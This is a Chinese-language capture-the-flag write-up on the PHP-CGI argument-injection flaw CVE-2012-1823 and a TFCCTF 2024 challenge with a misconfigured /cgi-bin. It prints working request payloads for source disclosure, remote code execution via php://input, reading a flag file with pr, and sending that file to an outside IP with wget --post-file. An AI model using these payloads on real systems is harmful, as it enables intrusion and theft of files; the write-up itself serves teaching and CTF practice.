做网站的硬件,云空间网站怎么做,无锡网站建设培训,wordpress主题导航调用目录
背景 CVE-2012-1823
发散利用
法一#xff1a;读文件
法二#xff1a;数据外带 背景 CVE-2012-1823
PHP-CGI远程代码执行漏洞#xff08;CVE-2012-1823#xff09;分析 | 离别歌
省流#xff1a;
命令行参数不光可以通过#!/usr/local/bin/php-cgi -d include…目录
背景 CVE-2012-1823
发散利用
法一读文件
法二数据外带 背景 CVE-2012-1823
PHP-CGI远程代码执行漏洞CVE-2012-1823分析 | 离别歌
省流
命令行参数不光可以通过#!/usr/local/bin/php-cgi -d include_path/path的方式传入php-cgi更可以通过querystring的方式传入
简单复现
vulhub的环境
/index.php?-s
查看源码 文件包含RCE
/index.php?-dallow_url_include%3don-dauto_prepend_file%3dphp%3a//input 发散利用
以TFCCTF 2024的FUNNY这题为例 附件中有这样一段配置 ScriptAlias /cgi-bin /usr/bin: ScriptAlias指令将URL路径 /cgi-bin 映射到服务器上的实际文件路径 /usr/bin。当访问 http://yourdomain/cgi-bin 时服务器实际上会访问 /usr/bin 目录中的文件。 Action php-script /cgi-bin/php-cgi: Action指令将某个处理程序与特定类型的文件关联起来。在这里将自定义的 php-script 处理程序与路径 /cgi-bin/php-cgi 关联。也就是说当一个文件被指定为 php-script 类型时服务器会将其传递给 /cgi-bin/php-cgi 进行处理。 AddHandler php-script .php: AddHandler指令将文件扩展名 .php 与前面定义的 php-script 处理程序关联。这意味着服务器会将所有扩展名为 .php 的文件当作 php-script 类型文件并用 /cgi-bin/php-cgi 处理它们。 Directory /usr/bin: 该指令块定义了对于 /usr/bin 目录的访问控制规则。Order allow,deny这行定义了访问控制的顺序首先 allow允许访问然后 deny拒绝。这意味着所有未明确允许的请求将被拒绝。Allow from all这行允许所有来源的访问。 总的来说这段配置定义了一个CGI环境其中所有的 .php 文件会通过位于 /usr/bin 目录中的 php-cgi 脚本进行处理并允许所有用户访问 /usr/bin 目录。 扫目录 直接将/cgi-bin暴露在web目录中由于配置文件将/cgi-bin映射到靶机的/usr/bin这意味着我们可以访问/usr/bin下的所有命令 法一读文件
类比背景部分的传参/index.php?-d allow_url_includeon -d auto_prepend_filephp://input
会被执行为
#!/usr/local/bin/php-cgi -d allow_url_includeon -d auto_prepend_filephp://input
这题如果我们访问/cgi-bin/cat?/flag.txt靶机执行的就是
#!/usr/bin/cat /flag.txt 但操作后回显404这意味着靶机/usr/bin下没有cat命令 尝试用nl读文件结果报500这说明成功执行了/usr/bin/nl命令但未成功回显
/cgi-bin/nl?/flag.txt 似乎不能读文件了
但其实可以
pr 命令是一个 Unix 和 Linux 系统中的命令用于将文本文件格式化为页码化的输出通常用于打印。pr 命令可以对文本进行分页、添加页眉、页脚、调整列数等以便于打印或查看。 payload:
/cgi-bin/pr?/flag.txt 解释一下为什么用pr是因为只有pr的输出第一行有换行才能输出其他的能执行但不能输出
响应包的格式不换行不能显示在body而是在header但数据又不符合http头的格式会报500 法二数据外带
curl回显404
用wget外带数据
哈命令注入外带数据的姿势还可以这么骚-腾讯云开发者社区-腾讯云
目标执行#!/usr/bin/wget http://124.222.136.33:1337 d --post-file/flag.txt
payload:
/cgi-bin/wget?http://124.222.136.33:1337--post-file%3d/flag.txt
成功接收到文件